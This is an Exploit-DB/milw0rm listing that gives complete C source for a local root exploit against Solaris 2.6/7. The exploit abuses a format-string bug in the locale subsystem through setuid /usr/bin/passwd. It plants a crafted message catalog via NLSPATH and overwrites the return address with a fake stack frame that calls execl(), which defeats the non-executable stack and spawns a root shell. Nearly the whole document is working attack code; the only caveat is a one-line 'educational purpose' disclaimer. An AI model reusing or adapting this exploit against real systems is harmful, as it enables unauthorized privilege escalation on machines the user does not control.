Solaris 2.6/7.0 - 'locale' Format Strings noexec stack Overflow

EDB-ID:

210


Author:

warning3

Type:

local


Platform:

Solaris

Date:

2000-11-30


/*
 * exploit for locale subsystem format strings bug In Solaris with noexec stack.
 * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. 
 * ./ex -o -4 )
 *
 * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
 * usages: ./ex -h
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
 * Thanks for horizon's great article about defeating noexec stack for Solaris.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *     by warning3@nsfocus.com (http://www.nsfocus.com)
 *             y2k/11/10
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048			/* the size of format string buffer	*/
#define BUFF    128			/* the progname buffer size		*/
#define SHELL   "/bin/ksh"		/* shell name				*/
#define DEFAULT_NUM 68			/* format strings number		*/
#define DEFAULT_RETLOC 0xffbefb44	/* default retloc address		*/
#define VULPROG  "/usr/bin/passwd"	/* vulnerable program name		*/

void usages(char *progname)
{
  int i;
  printf("Usage: %s \n", progname);
  printf("    [-h]       Help menu\n");
  printf("    [-n number]      format string's number\n");
  printf("    [-a align]       retloc buffer alignment\n");
  printf("    [-o offset]      retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)
{
  __asm__("mov %sp,%i0");
}

main( int argc, char **argv )
{
  char *pattern, retlocbuf[BUFF], *env[11];
  char plat[BUFF], *ptr;
  long sh_addr, sp_addr, i;
  long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
  long  *addrptr;
  long reth, retl, reth1, retl1;
  FILE *fp;
  

  extern int optind, opterr;
  extern char *optarg;
  int opt;

  void *handle;
  long execl_addr, fp_addr, fp1_addr;
  char fakeframe[512];
  char padding[64], pad = 0;
  int env_len, arg_len, len;

  char progname[BUFF];
  strncpy(progname, argv[0], BUFF-1);

  while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
    switch((char)opt)
    {

      case 'n':
        num = atoi(optarg);
        break;

      case 'a':
        align = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
      case 'h':
      default:
        usages(progname);
        exit(0);
    }

  retloc +=  offset;
  
  /* get platform info  */
  sysinfo(SI_PLATFORM,plat,256);

  /* Construct fake frame in environ */
  
  env[0] = "NLSPATH=:.";
  env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */
  /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
  env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00           */
  env[3]=&(fakeframe[40]);/*         |0x00      */
  env[4]=&(fakeframe[40]);/*        |0x00       */
  env[5]=&(fakeframe[40]);/*             |0x00  */
  env[6]=&(fakeframe[44]);/*            |fp2|fp2|fp2|fp2|fp2*/
  env[7]=SHELL;     /* shell strings */
  env[8]=NULL;

  /* calculate the length of "VULPROG" + argv[1] */
  arg_len = strlen(VULPROG) + strlen("-z") + 2;

  /* calculate the pad nummber .
   * We manage to let the length of padding + arg_len + "NLSPATH=." can
   * be divided by 4. So fakeframe address is aligned with 4, otherwise
   * the exploit won't work.
   */
  pad = 3 - (arg_len + strlen(env[0]) +1)%4;
  memset(padding, 'A', pad);
  padding[pad] = '\0';

  /* get environ length */
  env_len = 0; 
  for(i = 0 ; i < 8 ; i++ )
    env_len += strlen(env[i]) + 1;

 /* get the length from argv[0] to stack bottom 
  *                  
  * +------------------------+-----------+--------+-----------+--------+
  * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
  * +------------------------+-----------+--------+-----------+--------+
  * ^               ^ 
  * |__startaddr                |__sp_addr 
  *
  * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
  *
  *  I find "startaddr" always can be divided by 4.
  *  So we can adjust the padding's size to let the fakeframe address
  *  can be aligned with 4.
  *
  * len = length of "argv" + "env" + "platform" + "program name" 
  * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4
  * if (len%4)==0, sp_addr - startaddr =  len
  * So we can get every entry's address precisely based on startaddr or sp_addr.
  * Now we won't be bored with guessing the alignment and offset.:)
  */
  len = arg_len + env_len + strlen(plat) + 1 
  + strlen(VULPROG) + 1;
  printf("len = %#x\n", len);

  /* get stack bottom address */

  sp_addr = (get_sp() | 0xffff) & 0xfffffffc;

  /* fp1_addr must be valid stack address */
  fp1_addr = (sp_addr & 0xfffffac0);

  /* get shell string address */
  sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */
         - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) - 3 ;

   printf("SHELL address = %#x\n", sh_addr);
   
  /* get our fake frame address */
  fp_addr = sh_addr - 8*8 - 1;

  /* get execl() address */
  if (!(handle=dlopen(NULL,RTLD_LAZY)))
  {            
    fprintf(stderr,"Can't dlopen myself.\n");
    exit(1);
  }
  if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
  {
    fprintf(stderr,"Can't find execl().\n");
    exit(1);
  }           
    
  /* dec 4 to skip the 'save' instructure */
  execl_addr -= 4;
  
  /* check if the exec addr includes zero  */
  if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
    !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
  {
    fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
    exit(1);
  }

  printf("Using execl() address : %#x\n",execl_addr);

  /* now we set up our fake stack frame */

  addrptr=(long *)fakeframe;

  *addrptr++= 0x12345678; /* you can put any data in  local registers */
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;

  *addrptr++=sh_addr;      /* points to our string to exec */
  *addrptr++=sh_addr;      /* argv[1] is a copy of argv[0] */
  *addrptr++=0x0;    /* NULL for execl();  &fakeframe[40] */
  *addrptr++=fp1_addr;     /* &fakeframe[44] */
  *addrptr++=fp1_addr;
  *addrptr++=fp1_addr;
  *addrptr++=fp1_addr;     /* we need this address to work  */
  *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */
  *addrptr++=0x0;

  /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */
  retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);

  printf("Using RETloc address = 0x%x,  fp_addr = 0x%x  ,align= %d\n", retloc, fp_addr, align );

  /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/

  addrptr = (long *)retlocbuf;

  for( i = 0 ; i < 8 ; i ++ )
    *(addrptr + i) = 0x41414141;
    *(addrptr + 1) = retloc - 4;
    *(addrptr + 3) = retloc - 2;
    *(addrptr + 5) = retloc ;
    *(addrptr + 7) = retloc + 2;

  if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
    printf("Can't get enough memory!\n");
    exit(-1);
  }

  /* Let's make formats string buffer: 
   * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|  
   */
  ptr = pattern;
  memset(ptr, 'A', 32);
  ptr += 32;

  for(i = 0 ; i < num ; i++ ){
    memcpy(ptr, "%.8x", 4);
    ptr += 4;
  }

  reth = (fp_addr >> 16) & 0xffff ;
  retl = (fp_addr >>  0) & 0xffff ;
  reth1 = (execl_addr >> 16) & 0xffff ;
  retl1 = (execl_addr >>  0) & 0xffff ;
  

  /* Big endian arch */
  sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
         (reth - num*8 -4*8 + align ), (0x10000 +  retl - reth),
         (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));

  if( !(fp = fopen("messages.po", "w+")))
  {
    perror("fopen");
    exit(1);
  }
  fprintf(fp,"domain \"messages\"\n");
  fprintf(fp,"msgid  \"%%s: illegal option -- %%c\\n\"\n");
  fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
  fclose(fp);
  system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");

  /* thanks for z33d's idea. 
   * It seems we have to do like this in Solaris 8.
   */
  i=open("./SUNW_OST_OSLIB",O_RDWR);
  /* locate the start position of formats strings in binary file*/
  lseek(i, 62, SEEK_SET);
  /* replace the start bytes with our retlocbuf */
  write(i, retlocbuf + align, 32 - align);
  close(i);

  execle(VULPROG, VULPROG, "-z", NULL, env);
}


// milw0rm.com [2000-11-30]